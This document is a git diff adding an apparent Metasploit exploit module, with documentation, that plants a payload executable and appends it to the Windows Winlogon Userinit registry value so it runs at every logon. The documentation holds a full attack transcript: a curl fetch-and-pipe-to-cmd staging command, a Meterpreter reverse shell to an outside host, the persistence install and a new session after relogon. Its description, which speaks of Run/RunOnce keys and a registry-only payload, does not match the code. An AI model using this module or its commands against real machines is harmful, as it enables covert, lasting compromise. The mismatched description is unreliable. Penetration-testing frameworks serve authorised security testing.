diff --git a/documentation/modules/exploit/windows/persistence/registry_userinit.md b/documentation/modules/exploit/windows/persistence/registry_userinit.md new file mode 100644 index 0000000000000..226534bba9e84 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/registry_userinit.md @@ -0,0 +1,109 @@ +## Vulnerable Application + +This module will install a payload that is executed during boot. +It will be executed either at user logon or system startup via the registry +value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method). +The payload will be installed completely in registry. + +## Verification Steps + +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options + +### PAYLOAD_NAME + +Name of payload file to write. Random string as default. + +## Scenarios + +### Windows 10 1909 (10.0 Build 18363) + +Initial admin shell + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2026-01-03 16:20:11 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Install persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/registry_userinit +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/registry_userinit) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/registry_userinit) > set session 1 +session => 1 +msf exploit(windows/persistence/registry_userinit) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(windows/persistence/registry_userinit) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Registry likely exploitable +[+] Writing payload to C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe +[*] Updating 'C:\Windows\system32\userinit.exe,' to 'C:\Windows\system32\userinit.exe,C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe' +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260103.2052/WIN10PROLICENSE_20260103.2052.rc +``` + +Logout, and log back in to trigger payload execution + +``` +[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49749) at 2026-01-03 16:21:15 -0500 + +msf exploit(windows/persistence/registry_userinit) > +``` diff --git a/modules/exploits/windows/persistence/registry_userinit.rb b/modules/exploits/windows/persistence/registry_userinit.rb new file mode 100644 index 0000000000000..2075d777bdc99 --- /dev/null +++ b/modules/exploits/windows/persistence/registry_userinit.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Windows::Registry + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Powershell + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Registry Persistence via Userinit', + 'Description' => %q{ + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method). + The payload will be installed completely in registry. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joel @ ndepthsecurity', + 'h00die', + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY], + ['URL', 'https://hadess.io/the-art-of-windows-persistence/'] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2015-07-01', + 'Notes' => { + 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), + ]) + end + + def regkey + 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' + end + + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + + def check + print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + + return Msf::Exploit::CheckCode::Safe("Unable to read registry path #{regkey} with key Userinit") if registry_getvaldata(regkey, 'Userinit').nil? + + Msf::Exploit::CheckCode::Vulnerable('Registry likely exploitable') + end + + def install_persistence + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + payload_exe = generate_payload_exe + payload_pathname = writable_dir + '\\' + payload_name + '.exe' + vprint_good("Writing payload to #{payload_pathname}") + fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) + + old_value = registry_getvaldata(regkey, 'Userinit') + new_value = (old_value.split(',') + [payload_pathname]).join(',') + vprint_status("Updating '#{old_value}' to '#{new_value}'") + registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ') + escaped_old_value = old_value.gsub('\\', '\\\\') + @clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n) + @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n" + end +end